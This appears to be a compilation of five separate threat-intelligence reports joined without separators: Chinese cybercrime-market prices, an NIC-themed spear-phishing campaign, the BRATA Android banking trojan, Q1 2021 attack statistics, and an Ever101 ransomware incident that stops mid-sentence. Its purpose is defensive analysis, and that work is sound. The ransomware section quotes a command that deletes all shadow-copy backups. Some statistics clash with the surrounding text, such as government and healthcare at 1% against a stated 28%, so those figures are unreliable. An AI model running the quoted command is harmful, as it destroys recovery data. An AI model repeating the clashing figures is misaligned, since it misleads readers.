# Prototype Nation ## The Chinese Cybercriminal Underground in 2015 **Lion Gu** ## Leaked-data search engines: Intel gathering made easy for criminals The Deep Web is simply the vast and hidden section of the Internet that is not accessible via search engines. A huge chunk of the Deep Web deals with cybercriminal activities and illegal services, a part of which has to do with leaked personal data, including addresses and other sensitive information. The recent spate of data breaches has resulted in a surplus of data dumps for sale on underground websites. These dumps contain personally identifiable information (PII) and credit card credentials (now sold in bulk, irrespective of brand). PayPal, poker, and even Uber accounts can now also be found via leaked-data search engines, a first in the Chinese and other underground markets. The data leaked underground allows attackers to commit crimes like financial fraud, identity and intellectual property theft, espionage, and even extortion. Armed with sensitive or potentially damaging information on a politician, for instance, like leaked personal details on an extramarital affair website, a cybercriminal can discredit the target who may be lobbying for the approval of, say, the national cybercrime bill. Free search engines and forums like CnSeu (cnseu.pw) is a forum for trading leaked data. Users buy and sell leaked data using forum coins or credit points that can be purchased on Alipay with corresponding amounts in RMB (RMB 1 = 10 forum coins = ~US$0.16). While forums have been keeping cybercriminals connected with one another, they managed to come up with even more ways to offer stolen data. SheYun, a search engine specifically created to make leaked data available to users, is one such way. SheYun also has a government database that its users can get information from, and ironically, a privacy-protection feature for those who wish to prevent certain data from appearing as search results. ## Carding: Ever-thriving criminal enterprise backed by innovation The noncash transaction volume in China has drastically grown over the past two years, made apparent by the adoption of electronic and mobile payment means. Alongside countries in the “emerging Asia” group, China is expected to register a 27% noncash payment growth rate, driven by increased Internet use and mobile payment transactions. Cybercriminals quickly jumped on the noncash payment bandwagon. They now offer carding devices like PoS and ATM skimmers to interested buyers at fairly reasonable prices. Despite the development of mobile payment systems as PoS terminal alternatives, most SMBs still favor the use of PoS systems for receiving payment. SMBs have thus become easy carding scheme targets. Carding has to do with unsavory forums and websites involved in the increasingly regimented process of stealing and laundering credit card information. Various publicly accessible websites sell PoS, ATM, and credit card pocket skimmers. Skimmers refer to devices that extract data from payment card magnetic strips. In a previously published in-depth study of PoS malware, we said skimmers cannot be readily mass deployed for maximum effectiveness; the Chinese underground has now proven otherwise. Credit card fraud made headlines in February last year, when an individual from Hangzhou was tried in the United States for a successful spam run that cost card providers roughly RMB 5,130,000 (~US$808,855). We found PoS skimmers on the business-to-business (B2B) e-commerce site, 1688.com. These devices were bought by retailers who then resell them to small businesses that are always on the lookout for the most reasonable prices. These resellers may or may not know that the gadgets they are peddling have been tampered with. Some of the PoS skimmers sold underground even have an SMS-notification feature. This allows cybercriminals to instantly get their hands on stolen data via SMS every time the tampered devices are used. Cybercriminals do not even have to physically collect stolen information from installed devices, allowing them greater flexibility and convenience. They can also more easily expand their operational scope by merely installing their skimmers into more PoS devices across stores, countries, and even regions. Such was the case that made the news just this August. A company reportedly sold the modified devices to a number of small restaurants and hotels. Investigators found 1,100 sets of stolen card information stored in the company’s servers. Despite the small number of stolen credit card records, the scammers were still able to cost victims a fairly significant amount—RMB 1.5 million (~US$236,507). In March 2014, we saw a cybercriminal produce and sell ATM skimmers and fake PoS terminals in several underground forums. These fraud-enabling devices reportedly originated from China. The sale of such devices continued and thrived. What is more worrisome though is that our fear then—that mass production of fraud-enabling devices could very well ensue—has seemingly come true. ATM PIN skimmers are also commonly sold on B2B websites, offering cybercriminals more ways to successfully carry out bank fraud and actual theft. For a sum of RMB 2,000 (~US$315), fraudsters can use these as keypad overlays in order to more effectively steal victims’ PINs. These come with a small memory chip that saves all captured PINs that cybercriminals can physically retrieve in order to gather the information they need to complete their fraudulent acts. Mass-produced pocket skimmers come in handy for crooks who do not wish to physically tamper with ATMs and PoS terminals in order to steal. These are small and so easily go unnoticed. An unscrupulous store staff member can, for instance, swipe an unwitting customer’s card on a pocket skimmer in order to steal track data that he/she can later use for fraud. Pocket skimmers are small magnetic card readers that can store track data from up to 2,048 payment cards. They do not need to physically be connected to a computer in order to work. They do not even require an external power supply and can read the data stored on the magnetic strip of any kind of credit card. All stored information can then be downloaded onto a connected computer. ## Market offerings: As robust as they are unique Since 2012, we have been providing updated lists of the products and services peddled in the Chinese underground. These offerings are available to any enterprising criminal from anywhere in the world. Most of the wares we spotted were designed to target Chinese citizens. Americans, Europeans, and the Japanese may experience monetary losses as well since credit card dumps from their countries are also sold in the Chinese underground. Local cybercriminals can either use the credit card data for their own personal gain or sell them to other buyers. We also noted that bulletproof hosting still plays a significant role in the Chinese cybercriminal marketplace. Several local phishing sites as well as sites that sell counterfeit wares all rely on these hosting services to stay up. It’s also possible that leaked-data search engines use such services to store the data dumps. ### Services Note that prices in green text under the 2014–2015 column indicate increases while those in blue indicate decreases. | Service | Details | 2013 price | 2014–2015 price | |---------|---------|------------|------------------| | Apple App Store app-rank boosting | Into the top 25 free apps list | US$3,400 | US$7,248 | | | Into the top 50 free apps list | US$2,300 | US$4,097 | | | Into the top 100 free apps list | US$980 | US$2,521 | | | Into the top 150 free apps list | US$1,891 | | | | Into the top 5 paid apps list | US$9,800 | US$4,097 | | | Into the top 10 paid apps list | US$6,400 | US$3,466 | | | Into the top 25 paid apps list | US$3,400 | US$2,836 | | Botnet rental | With 100 Windows 2003 or 2008 bots | US$48 | US$24 | | Carding tutorial | | US$0.30–570 | | | Cracking | Encrypted .RAR, .ZIP, .DOC, .XLS, and .EXE files | US$45 | US$44 | | | Protected dongles | US$807–12,919 | US$788–12,605 | | | Software registration codes | US$161 | US$158 | | | Software user-number limitations | US$242 | US$236 | | DDoS attack | 100Mbps; 100–2,000 bots (monthly subscription) | US$95–596 | US$79 | | Dedicated server hosting | With DDoS protection (monthly subscription) | US$81–775 | US$284–10,669 | | Document copy rework | | US$19 | US$19 | | Email spamming | 20,000 email addresses | US$161 | US$47 | | | 50,000 email addresses | US$323 | US$95 | | Hacking | QQ and WeChat accounts | US$48–129 | US$79 | | | Personal email accounts | US$48 | US$47 | | | Corporate email accounts | US$81 | US$95 | | | Sina Weibo accounts | US$48 | US$63 | | iMessage® spamming | 20,000 messages | US$205 | | | | 50,000 messages | US$433 | | | | 80,000 messages | US$630 | | | Privacy protection on leaked-data search engines | | US$11–16 | | | RAT toolkits | | US$161 | US$158 | | Programming | Trojans | US$323–8,075 | US$315–7,878 | | Proxy server hosting | Hypertext Transfer Protocol (HTTP), HTTP Secure (HTTPS), or Socket Secure (SOCKS) (monthly subscription) | US$0.16–16 | US$15 | | Security software | Makes sure malware are not detected by security software | US$13–19 | US$13–19 | | SMS spamming | 10,000 text messages | US$126 | | | | 80,000 text messages | US$882 | | | | 100,000 text messages | US$945 | | | Trojan toolkit access | Fengtian remote access toolkit (monthly subscription) | US$95 | | | Virtual private network (VPN) server hosting | Monthly subscription | US$3 | US$3 | ### Products Note that prices in green text under the 2014–2015 column indicate increases while those in blue indicate decreases. | Product | Details | 2013 price | 2014–2015 price | |---------|---------|------------|------------------| | ATM PIN skimmers | | | US$315 | | ATM skimmers | | | US$1,261 | | Banking credential packages | Includes ATM cards, IDs, dongle passwords, and subscriber identity module (SIM) cards | US$126–158 | | | | QQ, TaoBao Bank of China, and Industrial and Commercial Bank of China (ICBC) | US$81 | US$79 | | Fake websites | Various online games | US$16–32 | US$16–32 | | | Online game trading sites | US$81–97 | US$79–95 | | Leaked data packages | | | US$0.16 | | Local third-party app (for Android™) popularity boosters | 10,000 downloads | US$7 | US$8–16 | | | 100 comments | US$32 | | | Pocket skimmers | | | US$142 | | PoS skimmers | | | US$788 | | Scanned fake documents | Chinese, US, and Canadian passports | US$5 | US$5 | | Serial keys | Windows® 10 Pro | US$2 | | | | Microsoft™ Office® 2016 | US$6 | | | | AutoCAD® 2015 | US$12 | | | Sina Weibo popularity boosters | 10,000 followers | US$7–161 | | | | 5,000 tweets | US$55 | | | | 1,000 comments | US$8–63 | | | | 5,000 votes (for awards, maybe) | US$55–79 | | | Social engineering toolkits | | | US$50 | | | 500 Internet Protocol (IP) addresses per day | US$0.26 | US$0.25 | | | 1,000 IP addresses per day | US$0.42 | US$0.41 | | | 5,000 IP addresses per day | US$2 | US$2 | | | 10,000 IP addresses per day | US$5 | US$5 | | | 50,000 IP addresses per day | US$38 | US$37 | | | 100,000 IP addresses per day | US$95 | US$92 | | | 500,000 IP addresses per day | US$473 | US$462 | | Trojans | QQ account stealers | US$32 | US$32 | | | TaoBao account stealers | US$323 | US$315 |
# Malware Actors Using NIC Cyber Security Themed Spear Phishing to Target Indian Government Organizations This blog post describes an attack campaign where NIC (National Informatics Centre) Cyber Security themed spear phishing email was used to possibly target Indian government organizations. In order to infect the victims, the attackers distributed spear-phishing emails, which purport to have been sent from NIC’s Incident Response Team. The attackers spoofed an email ID associated with the Indian Ministry of Defence to send out emails to the victims. They also used the name of the top NIC official in the signature of the email to make it look like it was sent by a high-ranking government official working at NIC. ## Overview of the Malicious Email The attackers spoofed an email ID associated with the Indian Ministry of Defence to send out emails to the victims. The email was made to look like it was sent from NIC’s Incident Response Team, instructing the recipients to read the attached documents and implement the cyber security plan. The signature of the email included the name of the top-ranking NIC official. The email contained two attachments: a PDF document and a malicious Word document (NIC-Cyber Security SOP.doc). The PDF document was legitimate, which attackers might have downloaded from the Ministry of Electronics and Information Technology website. The Word document attached in the email contained malicious macro code that, when enabled, drops a malware backdoor, executes it, and sends the system information to the command and control server (C2 Server), while also downloading additional components. From the email (and the attachments), it looks like the goal of the attackers was to infect and take control of the systems of Cyber Security officers responsible for managing and implementing security controls on the government network. The email header consisted of an ORCPT (Original-Recipient) header, which had reference to what appears to be a mailer list associated with the Indian Ministry of External Affairs, indicating that the attackers probably wanted to infect users connected with the Ministry of External Affairs either to spy or to take control of their systems. ## Analysis of Word Document Containing Malicious Macro Code Once the victim opens the attached Word document, it prompts the user to enable macros and contains instructions on how to enable them. If the victim enables the macro content, the malicious code drops the malware sample and executes it, while also showing a decoy document containing instructions and guidelines related to cyber security. This is to make the user believe that it is indeed a document related to cyber security. The malicious macro code was reverse engineered to understand its capabilities. The macro code is heavily obfuscated, using obscure variable/function names to make analysis harder. The macro code first calls multiple functions to decode the executable content, drops the malicious executable (WINWORD.exe) in the Startup directory, and then executes the dropped file. Once executed, the dropped file connects to the command and control server (C2 server) and communicates on port 443 (HTTPS) to conceal the data sent by the malware. ## Analysis of the Dropped Executable (WINWORD.exe) The dropped file was analyzed in an isolated environment (without allowing it to connect to the C2 server). This section contains the behavioral analysis of the dropped executable (WINWORD.exe). The malware, when executed, creates additional files on the file system. It downloads these files by contacting the C2 server and saves them on the disk. Since the malware was not allowed to contact the C2 server, its functionality regarding these files is unclear. The malware uses WScript.exe to execute the VB scripts. Upon execution, the malware makes an HTTPS connection to the URL hxxps://webmail[.]duia[.]in/webmail.php. The HTTPS connection was intercepted, and different network communications were determined. In the first communication, it collects and sends the system information of the infected system to the attacker in the user-agent field. The user-agent field contains information about the computer name, username, and whether antivirus software is installed. The malware sends some information in the post data as well, indicating the action that the malware will perform. Malware uses a similar network communication pattern to download additional files (VBS, VBE, CMD, SC, EXT, A3X, etc.). Once downloaded, these files are saved in either “%LocalAppData%\Temp\WindowsUpdates” or “%Temp%\WindowsUpdates” folders. During analysis, it was determined that the malware used filenames (MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe, etc.) to reside in these directories. ## C2 Domain Information This section contains details of the C2 domain (webmail[.]duia[.]in). Attackers used the DynamicDNS hostname to host the C2 server, allowing them to quickly change the IP address in real-time if the malware C2 server infrastructure is unavailable. The C2 domain currently resolves to an IP address and was previously associated with another IP address. Both IP addresses are associated with hosting providers. ## Indicators Of Compromise The indicators are provided below for organizations (government, public, and private) to detect and investigate this attack campaign. **Dropped Malware Sample:** - 4dc28faeb77550174b936d9ba97d4679 (WINWORD.exe) **Network Indicators Associated with C2:** - webmail[.]duia[.]in - hxxps://webmail[.]duia[.]in/webmail.php - 95[.]23[.]26[.]28 - 185[.]100[.]86[.]174 **Host Indicators:** - Filenames in the “%Temp%\WindowsUpdates” folder: MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe - Filename WINWORD.exe in the Startup directory ## Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing the email address of the Ministry of Defence. They also tried to trick users into believing the email was sent from NIC’s Incident Response Team. To make the attack less suspicious, they used a legitimate PDF document in the attachment and the name of the top NIC official in the email signature. The attackers hosted the C2 server in a Dynamic DNS provider network. Such attacker groups are likely working to gain long-term access to Indian government networks. With India rapidly moving towards digitization and cashless transactions, more such cyber attacks will likely continue to target government, defense, NGOs, and financial institutions. We have already reported this attack campaign and shared the associated indicators with the Indian CERT and NIC’s Incident Response Team.
# Mobile Banking Fraud: BRATA Strikes Again **Federica Abbinante, Francesco Iubatti** ## Executive Summary In the past year, we observed a spike of Android RAT infections on the Cleafy platform caused by an increase in Android Banking Trojans used for fraudulent activities, usually combined with smishing and social engineering attack patterns. Simultaneously, we noticed a decrease in SIM swap attacks, possibly related to their lower scalability compared to the widely used malware as a service (MaaS) pattern. What makes Android RATs interesting for attackers is their capability to operate directly on victim devices instead of using new devices. This reduces the likelihood of being flagged as suspicious since the device's fingerprinting is already known to the bank. In this report, we analyze the attack chain and the modus operandi used by Threat Actors (TAs), from sending malicious SMS to executing fraudulent transactions through an app installed on the infected device. Moreover, we highlight the main indicators explaining the attack chain used by these TAs: - The malware campaign primarily targets one of the largest Italian retail banks and other minor banks. However, we do not exclude that other local TAs might be using the same attack vector (BRATA) for malicious activities in other countries. - Smishing and phishing attacks are used to distribute malicious apps and harvest credentials. - A new version of the BRATA malware is used to infect victims' devices. - A combination of social engineering techniques and complete control of the infected device is employed by TAs to perform fraudulent transactions. ## Introduction At the end of June 2021, the Cleafy Threat Intelligence and Incident Response team intercepted a new aggressive smishing campaign delivering multiple fake applications called “Sicurezza Dispositivo” (or “AntiSPAM”). The campaign targeted customers of one of the largest Italian retail banks. After the first wave, which lasted from June to mid-September, the attack paused for about a month. In mid-October, our TIR team discovered new samples called “Sicurezza Avanzata” targeting mainly customers of three Italian banks. This time, the malware was almost undetectable by antivirus solutions. ## How the BRATA Malware Works In June 2021, we detected a new variant of BRATA malware on Cleafy’s dashboards. After a couple of weeks, a customer reported incidents related to the same campaign. The attack chain usually starts with a fake SMS containing a link to a website. The SMS appears to come from the bank (the so-called spoofing scam) and tries to convince the victim to download an anti-spam app, promising that a bank operator will contact them soon. In some cases, the link redirects the victim to a phishing page resembling the bank’s, used to steal credentials and other relevant information (e.g., fiscal code and security questions). After the victim visits the website (only visible via mobile) and downloads the malicious app, a fraud operator calls the victim and uses social engineering techniques to persuade them to install the malicious app. During the installation phases of the malware, multiple permissions are required to allow attackers to perform fraudulent activities. Once the malicious app is installed, fraud operators can take control of the victim's infected devices by abusing Accessibility services, SMS permissions, and the recording/casting module of the malware. Through the malware installed on the victim device, Threat Actors can receive the 2FA code sent by the bank and perform fraudulent transactions. With the abuse of Accessibility Service and screen recording, TAs can perform actions on the infected device with the help of social engineering to persuade the victim. We also intercepted multiple attempts of pin/otp validations stolen by TAs through the malicious app (or phishing website). This specific pattern was observed in other past campaigns of mobile and workstation malware. The mule accounts used by the BRATA malware campaign mainly come from Italy, Lithuania, and the Netherlands. From this information, we assume that the TAs behind these campaigns could come from European countries, unlike the previous BRATA malware campaign observed in Brazil in 2019. ## BRATA Main Functionalities and Capabilities By analyzing the code of the malicious apps, we traced the threat to the BRATA malware, a Brazilian malware discovered in 2019. However, these new samples present multiple differences compared to the previous one. Several Portuguese/Brazilian logs embedded in the malicious app are shown to the victim in Italian. Our assumption is that the group responsible for maintaining the BRATA codebase, likely located in the LATAM area, is reselling this malware to other local groups. As a result, this threat is gradually expanding in several European countries. Like other Android bankers previously appeared online (e.g., Teabot, Alien, Oscorp), this version of BRATA has RAT capabilities. The main difference lies in the implementation used to develop the malware: TAs used the b4a framework, already used by another Brazilian banker in 2019, called BasBanker. This choice allows TAs to import modules designed by other developers, speeding up the implementation of new features or the malware itself. The main functionalities of this new version of BRATA include: - Intercepting SMS messages and forwarding them to a C2 server to obtain 2FA sent by the bank via SMS during login or to confirm money transactions. - Screen recording and casting capabilities to capture sensitive information displayed on the screen, including audio, passwords, payment information, photos, and messages. Through Accessibility Service, the malware can automatically click the “start now” button of the popup, preventing the victim from denying the recording/casting. - Removing itself from the compromised device to reduce detection. - Uninstalling specific applications (e.g., antivirus). - Hiding its own app icon to be less traceable by less advanced users. - Disabling Google Play Protect to avoid being flagged by Google as suspicious. - Modifying device settings to gain more privileges. - Unlocking the device if it is locked with a secret pin or pattern. - Showing phishing pages. - Abusing the accessibility service to read everything displayed on the screen of the infected device or simulate clicks on the screen, sending this information to the attackers' C2 server. ## Conclusion The Android Banking Trojan BRATA is already classified and blacklisted in our Threat Intelligence data with the following tags: - ASK_BANKER_ANDROID_BRATA_V1 - ASK_BANKER_ANDROID_BRATA_V2 ## Appendix 1: IOCs **First campaign (June-mid September)** | MD5 | App Name | Package Name | |---------------------------------------|------------------------|-------------------------------| | ed63a9c22b2a6d39f11dfcee8925d306 | Sicurezza Dispositivo | b4a.example | | 3cd6c14061a891c4a1525ac1a4609137 | AntiSpam | com.dasjn023.dmindnasiod | **Second campaign (October)** | MD5 | App Name | Package Name | |---------------------------------------|------------------------|-------------------------------| | 8a10f6600be239a246e93cca0e7a69b0 | Sicurezza Avanzata | com.voip.ffnenne | | URL | Description | |---------------------------------------|-------------------------| | 23.254.228.221:17178 | BRATA C2 | | https[:]//bpweb-passadore[.]com | URL used to distribute the malicious app |
# Cybersecurity Threat Landscape Q1 2021 ## Summary Highlights of Q1 2021 include: - The number of attacks increased by 17% compared to Q1 2020, and compared to Q4 2020, the increase was 1.2%, with 77% being targeted attacks. Incidents involving individuals accounted for 12% of the total. - Ransomware is still the malware most often used by attackers. In Q1, they demanded astronomical ransoms and refined their arsenal, including new ways to hide from security tools. New ransomware includes Cring, Humble, and Vovalex, while WannaCry is running rampant again. Ziggy operators set a precedent by returning ransoms paid to victims. - The most popular vulnerabilities for attackers this quarter were breaches in Microsoft Exchange Server software (ProxyLogon) and the outdated file sharing program Accellion FTA. Attackers exploited a zero-day vulnerability in SonicWall VPN solutions to hack the company and launch attacks on its customers. - More cybercriminals are developing malware to conduct attacks on virtualization environments, aggressively exploiting vulnerabilities in software for deploying virtual infrastructure. Security engineers helped eliminate critical vulnerabilities in VMware products, and it is strongly recommended to install security updates promptly. - The number of attacks targeting IT companies has remained consistently high for a second quarter in a row. In 15% of cases during Q1 2021, hackers targeted IT companies to attack their customers or steal customer data. Reports of new victims from the SolarWinds attack continued. - Telecom companies were twice as likely to be attacked as in Q4 2020. In 71% of the attacks, hackers aimed at obtaining data, particularly regarding 5G technology. Nine out of ten incidents involved malware, most frequently RATs, which accounted for 55% of all attacks. To protect against cyberattacks, follow general recommendations for ensuring personal and corporate cybersecurity. Given the specifics of the attacks in the past quarter, it is strongly recommended to install security updates in a timely manner and pay special attention to protecting virtual infrastructure. Strengthen security at the corporate perimeter by using modern security tools, such as web application firewalls. To prevent malware infection, use sandboxes to analyze file behavior in a virtual environment and detect malicious activity. ## Statistics The number of incidents in Q1 2021 increased by 17% compared to the same period in 2020, and compared to Q4 2020, the increase was 1.2%, with 88% of the attacks targeting organizations. Cybercriminals typically attacked government institutions, industrial companies, and research and education institutions. The main motive for attacks on both organizations and individuals remains the acquisition of data. Attackers primarily target personal data and credentials, with attacks on organizations also aimed at stealing intellectual property. ### Attackers' Motives (Percentage of Attacks) - Access to data: 62% - Financial profit: 43% - Hacktivism: 9% - Use of company resources to conduct attacks: 2% - Cyberwar: 1% - Unknown: 1% ### Types of Data Stolen - Personal data: 23% - Intellectual property: 24% - Credentials: 12% - Medical data: 6% - Client database: 6% - Payment card data: 3% - Correspondence: 1% - Other data: 1% ### Victim Categories Among Organizations - Government: 26% - Finance: 11% - Manufacturing and industry: 12% - Telecom: 11% - Science and education: 8% - Healthcare: 6% - IT: 7% - Multiple industries: 8% ### Attack Targets (Percentage of Attacks) - Computers, servers, and network equipment: 71% - People: 38% - Web resources: 20% - Mobile devices: 7% - IoT devices: 1% - Other: 2% ### Attack Methods (Percentage of Attacks) - Malware use: 58% - Social engineering: 52% - Hacking: 26% - Web attacks: 15% - Credential compromise: 5% - Other: 2% ## Elusive Malware Ransomware is predictably the most popular type of malware, with its share among other malware used in attacks on organizations increasing by seven percentage points compared to Q4 2020, now at 63%. Emailing remains the prevailing method of delivering malware, used in six out of ten malware attacks on organizations. Individuals are most often attacked by banking trojans, spyware, and malware that provides remote access to the device. ### Types of Malware (Percentage of Malware Attacks) - Ransomware: 63% - RATs: 20% - Spyware: 9% - Loaders: 7% - Banking trojans: 7% - Miners: 7% - Adware: 2% - Other: 2% ### Methods Used for Malware Distribution - Email: 61% - Compromise of computers, servers, and network equipment: 4% - Fake updates: 13% - Websites: 36% - Official app stores: 2% - Messengers and SMS messages: 1% - Other: 9% Malware developers continue to look for new ways to bypass security measures. For example, attackers use unpopular programming languages, as seen with BazarBackdoor (RAT) rewritten in Nim. Ransomware operators of Vovalex and RobbinHood chose uncommon languages like D and Golang. Some attackers have upgraded their tools with features that erase traces of malicious activity. ## Ransoms Keep Going Up Every third attack in Q1 involved ransomware operators. At the end of 2020, healthcare was the most frequently attacked sector, but in Q1 2021, industrial, scientific, and educational organizations shared the first place, accounting for 30% of all incidents involving ransomware. Governmental and medical institutions were targeted in 28% of the attacks. In about seven out of ten ransomware attacks on organizations, email was used as a method of delivering the malware, and in a quarter of cases, attackers exploited vulnerabilities and searched for unprotected resources accessible from the Internet. ### Categories of Victims Attacked by Ransomware in Q1 2021 - Science and education: 29% - Finance: 2% - Manufacturing and industry: 15% - Telecom: 15% - Government: 1% - Healthcare: 1% - Multiple industries: 1% - IT: 1% ### Ways of Distributing Ransomware Inside Organizations - Email: 72% - Compromise of computers, servers, and network equipment: 1% - Fake updates: 1% - Websites: 1% The five most active ransomware programs in Q1 2021 were: 1. REvil 2. Clop 3. Conti (Ryuk) 4. Babuk Locker 5. DoppelPaymer ## Insecure Software The first quarter of 2021 will be remembered for aggressive exploitation of vulnerabilities in Microsoft Exchange Server software (ProxyLogon vulnerabilities) and Accellion FTA. The ProxyLogon vulnerabilities were exploited by distributors of Black Kingdom and DearCry ransomware tools, as well as other APT groups. Vulnerabilities in the outdated Accellion FTA data transfer software were exploited by Clop operators and the cybercriminal group FIN11, affecting about 100 organizations. A quarter of these organizations suffered major data breaches. ## Targeting Virtual Infrastructure Q4 2020 saw a trend for attackers gearing their malware toward attacks on virtual infrastructure, which consolidated in Q1 2021. Attackers monitor information about new vulnerabilities and exploit them as soon as possible. Security experts helped eliminate several critical vulnerabilities in VMware products. ## Targeting Software Developers and Cloud Services The number of attacks on IT companies has not decreased since Q4 2020. The main motive for hackers attacking this industry is to obtain data (66%). In 27% of incidents, hackers sought financial gain, and in 15% of cases, companies were hacked to facilitate subsequent attacks on their customers. ## Wiretapping, Interception of Messages, and News About 5G The number of attacks on telecom companies doubled compared to Q4 2020. In 71% of the attacks, the attackers pursued the motive of obtaining data. The 5G technology has become a significant target for hackers. ## Governmental Institutions Are the Most Frequently Attacked Organizations Since 2017, governmental institutions have topped the rankings of the most frequently attacked organizations. Hackers mainly used malware (63% of attacks) and social engineering techniques (56%). The exploitation of web vulnerabilities ranked third, with a share of 22%. ## About the Research In this quarterly report, Positive Technologies shares information on relevant global cybersecurity threats. The information draws on our expertise, the outcomes of investigations, and data from authoritative sources. This research aims to draw attention to key motives and methods of cyberattacks and highlight the main trends in the changing cyberthreat landscape.
# Secrets Behind Ever101 Ransomware ## Executive Summary A victim called the incident response teams of Global Threat Center, reporting a seemingly new stream of ransomware attack. Upon investigation, we determined the extension of the encrypted files was certainly new, but the malware displayed significant similarities with several ransomware families—a combination that made attribution an interesting and difficult riddle. The attack’s signature was a Music folder containing an arsenal of tools, which the malware dropped and executed on each of the encrypted machines. Throughout our investigation, we primarily focused on the toolset utilized by the threat actor, in order to build an in-depth profile of the incident in hopes of making an attribution. While many of the tools used by the threat actor were not custom, we were still able to assemble a temporary portfolio of tactics, techniques, and procedures (TTPs), which pointed us to potential links to a few existing ransomware groups with similar TTPs. This portfolio was particularly helpful during the negotiation process, as we were able to gain vital information, such as assessing the reliability of the threat actor in terms of providing a working decryption tool. In fact, during the negotiation, the attackers offered a video documenting the decryption process, which also revealed they used a free software from BandiCam and WinRAR, in what seems to be Arabic. The ransomware had the extension “.ever101,” and was using the CryptoPP 8 library (an inbuilt C++ library) for encryption. It utilizes Salsa20 for encrypting file data, and RSA-2048 for encrypting file keys. We confirmed many—but not all—of the tools in the arsenal. Because they were encrypted during the attack, we had little hope of discovering their origin. We were able to establish that the EVER101 ransomware is almost identical to a number of ransomware families, such as CURATOR and Paymen45, both of which are believed to be developed by the EverBe group. Our hypothesis is that this ransomware was built through a "Ransomware-as-a-Service" builder, rather than being fully developed by the threat actor or group, whose identity and location remain unknown. During our investigation of the bitcoin movement related to the attack, we made an interesting discovery of a transfer of approximately US $600, to a platform of massage providers across major cities in the United States. This gave us a specific lead to the threat actors, and we developed potential explanations for this questionable transfer. ## Technical Details ### Discovered Tools During our investigation of the infected machines, we came across what seemed to be a treasure trove of information stored in the Music folder. It consisted of the ransomware binary itself, along with several other files—some encrypted, some not—that we believe the threat actors used to gather intelligence and propagate through the network. ### Confirmed **xDedicLogCleaner.exe** xDedicLogCleaner 1, as the name suggests, is used to clear any logs on the system—something that commonly occurs during ransomware attacks. Such tools are used to remove all traces of the attacker on the machine. In this case, however, they did not wipe their tools from one of the infected machines. Instead, most of these tools were encrypted once the ransomware was executed. The ransomware binary was still present on the machine that wasn’t wiped, a stroke of good luck that allowed us to expand our investigation. **PH64.exe** PH64.exe is a copy of the ProcessHacker 2 binary. ProcessHacker allows users to gather information about the system, such as running processes, services, incoming and outgoing network connections, and more. It is quite unusual for it to appear in a ransomware incident. We assume it helped the attackers gain basic information about any anti-malware software running on the machine—because ProcessHacker is a legitimate binary, it doesn’t trigger monitoring software. ### Unconfirmed **SoftPerfect Network Scanner** This tool is considered unconfirmed because a large majority of the attacker’s tools were encrypted with the ransomware. Therefore, the file names were our only lead. In the case of the SoftPerfect Network Scanner, we discovered three encrypted files on one of the machines that had similar names to files dropped by the scanner. Specifically: - netscan.exe - netscan.xml - netscan.lic We correlated these file names with a report produced by the US Cybersecurity and Infrastructure Security Agency, which covered the Five-Hands Ransomware, along with the tools used in this attack. **shadow.bat** Once again, we discovered this file in an encrypted state on one of the infected machines. While decryption was not possible without a decryptor, we can make assumptions based on the file name, as we found a link between this specific file name and a previous ransomware infection. A write-up of an unsuccessful Dharma Ransomware deployment by The DFIR Report describes a case in which a .BAT file named shadow.bat was deployed. It deleted the shadow files on the machine, using the following command: `vssadmin delete shadows /all` While there is a strong likelihood the files are the same, it would be surprising, as the ransomware used in our case has built-in function to destroy shadow files. This could indicate that the threat actor possessed limited knowledge of their ransomware variant, or perhaps they used the script as a "backup" method, in the event the ransomware function failed. **NetworkShare_pre2.exe** This is another unconfirmed tool, as it was also encrypted on disk. However, we were able to find a similarly named tool uploaded to an online sandbox provider, where it was executed and analyzed. The discovered tool was labelled as a "NetTool," and in researching the file, we linked it to the same report by The DFIR Report mentioned above. In this incident, the same hash is found, linked to a binary named "NS.exe," which is a network enumeration and pivoting tool. This tool is definitely not custom made—it’s commonly used by threat actors to enumerate a network for shared folders and connected devices. There were several other tools on the machine, but because they were overwritten by the ransomware, and had fairly non-descriptive names, we were unable to pinpoint their exact purpose, aside from disabling Windows Defender and clearing more logs. ## Infection Chain ### Cobalt Strike Cobalt Strike is an offensive security tool developed for legitimate purposes, though it has become a "go-to" tool for ransomware operators. It provides remote access to infected machines and allows attackers to gather comprehensive information on the system and surrounding network, as well as execute commands, drop files, escalate privileges, exfiltrate important documents, and so on. In this particular case, the Cobalt Strike beacon was hidden inside a binary masquerading as WEXTRACT.exe. The binary had a signature that matched the publisher of the original WEXTRACT.exe—Microsoft Windows—however, the certificate expired in 2015. Therefore, any certificate checkers would simply identify the expired certificate rather than the modified code. This method of hiding a beacon is quite interesting: before this case, there is no documentation of its use. It is also not mentioned in the Cobalt Strike documentation. This perhaps indicates the presence of a public "builder" who implants obfuscated code into a legitimate binary, which decodes and executes a beacon in the device’s memory, or the possibility of a custom tool developed by the ransomware actors. Either way, this knowledge will be hugely beneficial to us in future investigations, as we will be able to leverage this technique to create rules for further threat intelligence gathering on the threat actors behind this infection. ### SystemBC SystemBC is a well-known proxy malware used to route incoming and outgoing connections through SOCKS5, during attempts to hide communications between a malware implant and a command and control server. Additionally, it can be used to proxy internal connections. SystemBC is a fairly old tool, but it’s becoming increasingly popular among ransomware actors as a method of hiding Cobalt Strike beacon traffic from network traffic analyzers. This tool, along with Cobalt Strike, was discovered in the Windows Startup folder, which is a common method of persistence. Upon system startup, any programs within the folder will be immediately executed even without user interaction. This method is fairly simple and extremely easy to detect—raising questions about the aptitude of the threat actors. ### Ransomware Analysis #### Capabilities Overview The ransomware itself is fairly basic. As mentioned above, it utilizes the CryptoPP 8 library (an inbuilt C++ library) for encryption, Salsa20 for encrypting file data, and RSA-2048 for encrypting file keys. This usage of asymmetric algorithms makes decryption of the files impossible without the attackers’ RSA-2048 private key. This private key decrypts the encrypted Salsa20 file keys, which in turn enables decryption of the file data. It also has capabilities allowing it to connect to remote servers, and send information about the system, such as the number of files and disks and data related to the CPU and RAM. In this particular case, a URL was not present in the binary, meaning the malware operated entirely offline. This is probably due to the fact that Cobalt Strike was already on the machine prior to the ransomware rollout. The ransomware is not only able to send information to remote servers, it can also download the Tor browser to gather information from a .ONION site that is most likely hosted by the threat actors. As no URL was present in the sample, we cannot confirm all its capabilities, though it does seem the downloading functionality is used to download a public RSA-2048 key, possibly to prevent the entry of any hardcoded public keys into the file. Finally, as mentioned above, the ransomware has the ability to clear shadow files, preventing any attempts to backup. The command to execute occurs through Windows API, and is stored in an encoded state before being decoded and executed. The 